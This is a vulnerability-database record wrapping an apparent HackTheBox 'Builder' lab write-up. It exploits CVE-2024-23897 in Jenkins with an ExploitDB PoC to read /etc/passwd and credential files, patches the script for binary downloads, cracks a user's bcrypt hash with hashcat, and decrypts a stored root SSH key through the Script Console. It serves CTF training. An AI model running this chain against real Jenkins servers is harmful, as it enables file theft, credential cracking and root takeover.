{"uuid": "94acb135-36f9-4f4f-a677-b97b5873de35", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-23897", "type": "seen", "source": "https://gist.github.com/DragosSima/508d3bce9224683dc7cddba4c229f44f", "content": "# HackTheBox \u2014 Builder\n\n**OS:** Linux | **Difficulty:** Medium | **CVE:** CVE-2024-23897\n\n---\n\n## Enumeration\n\n```bash\nnmap -sC -sV -Pn -p- 10.129.230.220\n```\n\n```\nPORT     STATE SERVICE VERSION\n22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6\n8080/tcp open  http    Jetty 10.0.18\n|_http-title: Dashboard [Jenkins]\n```\n\nTwo open ports: SSH and Jenkins on 8080. Visiting the web app, we spot the version at the bottom right: **Jenkins 2.441**.\n\n---\n\n## Foothold \u2014 CVE-2024-23897 (Unauthenticated LFI)\n\nJenkins 2.441 is vulnerable to **CVE-2024-23897**: an unauthenticated attacker can read arbitrary files from the Jenkins controller filesystem by abusing the CLI endpoint.\n\nWe download the PoC from ExploitDB:\n\n```bash\n# https://www.exploit-db.com/exploits/51993\npython3 51993.py -u http://10.129.230.220:8080/\n```\n\nWe confirm the exploit works by reading `/etc/passwd`:\n\n```\nFile to download:\n&gt; /etc/passwd\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nroot:x:0:0:root:/root:/bin/bash\n...\njenkins:x:1000:1000::/var/jenkins_home:/bin/bash\n```\n\nThe jenkins user's home directory is `/var/jenkins_home`. We start enumerating Jenkins internals.\n\nReading `/var/jenkins_home/credentials.xml` we find an SSH credential stored for user `root`, with an AES-encrypted private key blob:\n\n```\nFile to download:\n&gt; /var/jenkins_home/credentials.xml\n...\n{AQAAABAAAAowLrfCrZx9ba...IMMaKSM=}\nroot\n```\n\nWe attempt to decrypt this offline using `master.key` + `hudson.util.Secret`, but the original script uses `response.text` which **corrupts binary files** by replacing non-UTF8 bytes with replacement characters (`efbfbd`). We need to patch the script.\n\n---\n\n## Patching the LFI Script for Binary Files\n\nThe fix is to work on raw bytes (`response.content`) using a bytes regex with the `DOTALL` flag, saving output to disk instead of printing it:\n\n```python\n# Key change in listen_and_print():\nfrom re import findall, DOTALL\n\nraw = response.content  # raw bytes, no lossy decoding\nexpression = rb'No such agent \"(.*?)\" exists\\.'\nresults = findall(expression, raw, DOTALL)\nif results:\n    content = b\"\\n\".join(results)\n    with open(\"output.bin\", \"wb\") as f:\n        f.write(content)\n    print(f\"[+] Saved {len(content)} bytes to output.bin\")\n```\n\n&gt; After each download, rename `output.bin` before the next request or it will be overwritten.\n\nEven with the patch, `hudson.util.Secret` remains corrupted because the Jenkins error message wraps the file content as a UTF-8 string server-side before we ever receive it \u2014 the corruption happens before transmission. Offline decryption is not viable here.\n\n---\n\n## Jenkins Enumeration \u2014 Extracting the User Hash\n\nWe read `users.xml` to enumerate Jenkins accounts:\n\n```\nFile to download:\n&gt; /var/jenkins_home/users/users.xml\n```\n\n```bash\ncat output.bin\n```\n\n```xml\njennifer_12108429903186576833\n```\n\nUser found: `jennifer`. We grab her `config.xml`:\n\n```\nFile to download:\n&gt; /var/jenkins_home/users/jennifer_12108429903186576833/config.xml\n```\n\n```bash\ncat output.bin | grep passwordHash\n```\n\n```\n#jbcrypt:$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a\n```\n\nbcrypt hash extracted. We crack it with hashcat:\n\n```bash\necho '$2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a' &gt; hash.txt\nhashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\nResult: **`princess`** \u2014 cracked almost instantly.\n\n---\n\n## Privilege Escalation \u2014 Decrypt SSH Key via Script Console\n\nWe log into `http://10.129.230.220:8080` as `jennifer:princess`.\n\nUnder **Manage Jenkins \u2192 Credentials**, we confirm the stored SSH credential for `root`. Since offline decryption of the blob is not possible (binary `hudson.util.Secret` gets corrupted by the LFI), we use the Jenkins **Script Console** at `/script` \u2014 now accessible with jennifer's credentials.\n\nWe paste the encrypted blob from `credentials.xml` into the following Groovy one-liner:\n\n```groovy\nprintln(hudson.util.Secret.decrypt(\"{AQAAABAAAAowLrfCrZx9ba...IMMaKSM=}\"))\n```\n\nOutput: cleartext RSA private key.\n\n```\n-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAA...\n-----END OPENSSH PRIVATE KEY-----\n```\n\nWe save it and SSH in as root:\n\n```bash\nchmod 600 root_key\nssh -i root_key root@10.129.230.220\n```\n\n```\nroot@builder:~# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\nRoot flag at `/root/root.txt`. \u2713\n\n---\n\n## Key Takeaways\n\n- The original `51993.py` PoC corrupts binary files because it decodes the HTTP response as UTF-8 text. Patching it to use raw bytes with a DOTALL regex is required to correctly download non-text files.\n- `hudson.util.Secret` cannot be reliably read via this LFI \u2014 the corruption happens server-side. The Jenkins Script Console is the only reliable way to decrypt stored credentials.\n- `credentials.xml` exposes the encrypted private key blob directly \u2014 no need to access the container filesystem once you have Script Console access.\n", "creation_timestamp": "2026-08-19T12:36:26.220338Z"}